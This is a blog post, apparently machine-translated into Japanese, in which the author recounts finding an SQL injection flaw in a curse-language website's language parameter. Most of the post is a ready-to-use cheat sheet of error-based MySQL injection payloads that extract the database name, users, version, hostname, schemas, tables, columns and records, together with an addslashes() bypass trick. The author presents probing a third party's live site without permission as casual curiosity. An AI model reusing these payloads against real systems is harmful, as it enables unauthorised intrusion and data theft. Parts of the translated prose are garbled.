エラーベースのMySQLインジェクションまたは誓う必要はありません

数日前、異なる言語の呪いでサイトが偶然発見されました。 彼の住所がexample.comだとしましょう。



このサイトには、「知識ベース」に含まれている呪いの言語のリストがあります。 各言語にアクセスするためのURLは次のように形成されました。

example.com/index.asp?language=[lang_name]#[]







利用可能な言語を参照することにしました。 あなたは決して知らない、おそらく何か面白いことがあります。



青い大きな男性についてアバターを見た人は、小さな男性であるアバターがナヴィ語を話したことを覚えています。 英語版はNa'viです。 驚いたことに、Na'viは言語のリストに載っていました。Kommersantではないので、私はその言語でのろいを見ることにしました。 しかし、私はこれを行うことができませんでした。



MySQLクエリは慎重にエラー80040e14をブラウザーにスローしました。 クエリビルダは結果として、値[lang_name]をクエリテンプレートに挿入し、言語の名前付けに使用した引用符をエスケープしませんでした。



探究する脳はすぐにここで少しテストする言い訳を見つけ、あらゆる種類のテストに抵抗することはできません。



私は情報セキュリティの分野の専門家ではなく、SQLデータベースを扱う人でもないので、説明した点のいくつかは説明なしでネットワーク上で発見されたので、自分で説明できないか、単に類推によって一致しました。



我々はいわゆると呼ばれることができる可能性があります 文字列クエリパラメータを使用したMySQLエラーベースのインジェクション。



順番に始めましょう。



最初に、今後のアクションに意味があるかどうかを理解してみましょう。 クォーテーションマークに問題があるため、リクエストの途中に侵入して独自の操作を試みることができます。



だから。

最初のクエリ、ブラインドインジェクションの確認:

' and 'x'='x





完全なURL:

example.com/index.asp?language=' and 'x'='x







動かない ホラー 地獄から抜け出して、一重引用符を記号0xbf5c27(ASCIIで¿\)に置き換えて、PHP保護addlashes()を通過してみましょう。



はい! 要求は合格し、完了しました。 サイトページが開き、言語別のフレーズのリストに「&expr 268409241-2&」に似たものが表示されます。



今後のアクションはinformation_schemaベースの存在に密接に関連付けられるため、喜ぶには時期尚早です。



クエリは、HEX()およびCAST()関数を使用して実行され、ゴミや文字列の形成の問題を取り除きます。 したがって、必要な回答は16進数で表示され、ASCIIに変換する必要があります。 これをオンラインで行うための多くの優れたツールがあるため、大したことはありません。



先に進みます。



現在のデータベースを見つけてみましょう。

リクエスト:

 ' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x7e,0x27,HEX(CAST(DATABASE() as CHAR)),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) and '1'='1
      
      







答えが来ます、それは良いことです、私たちは先に進むことができます。 この脆弱性のチートシートを入手し、すべてを順番に順番に実行します。



現在のユーザーを検索:

 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







MySQLバージョン:

 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(version() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







現在のベース:

 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







システムユーザー:

 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







ホスト名:

 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@hostname as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







MySQLディレクトリ

 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@basedir as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







ユーザーベース

 1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







ベース検索

注:応答が得られるまで、n、n + 1、n + 2、...などのnを増やし続けます。

n = 0と仮定されます

 1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







 1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n+1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







 1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n+2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







...



データベース内のテーブルのカウント:

注:変数n、m = 0に答えを割り当てましょう。

hex_code_of_database_nameを目的の値に置き換えます

 1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0xhex_code_of_database_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







すべてのテーブルの名前を取得する:

注:mnは、m = 0、m + 1 ... n-1の値を計算した結果を意味します

hex_code_of_database_nameを目的の値に置き換えます

mnは目的の値に置き換えます

 1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(table_name as char)),0x27,0x7e) FROM information_schema.tables Where table_schema=0xhex_code_of_database_name limit mn,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







テーブルの列数を取得する:

注:hex_code_of_database_nameを目的の値に置き換えます。

hex_code_of_table_nameは、目的の値に置き換えます。

答えを変数n、m = 0に割り当てます。

 1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







選択したテーブルの列名を取得する

注:mnは、m = 0、m + 1 ... n-1の値を計算した結果を意味します

hex_code_of_database_nameおよびhex_code_of_table_nameは目的の値に置き換えます

mnは目的の値に置き換えます

 1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(column_name as char)),0x27,0x7e) FROM information_schema.columns Where table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name limit mn,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







選択した列のレコード数を取得する

注:database_nameとtable_nameを目的の値に置き換えます

 1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `database_name`.table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







選択した列のレコードを取得する

注:mnは、m = 0、m + 1 ... n-1の値を計算した結果を意味します

database_name、table_name、column_nameを目的の値に置き換えます

mnは目的の値に置き換えます

 1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,Hex(cast(table_name.column_name as char)),0x27,0x7e) FROM `database_name`.table_name LIMIT mn,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
      
      







明らかな理由により、エントリを変更するためのコードは公開しません。



その結果、Na'Viという名前をNaViに修正し、そこに何があるかを見るために立ち寄ることができました。 そしてそこは空でした...



All Articles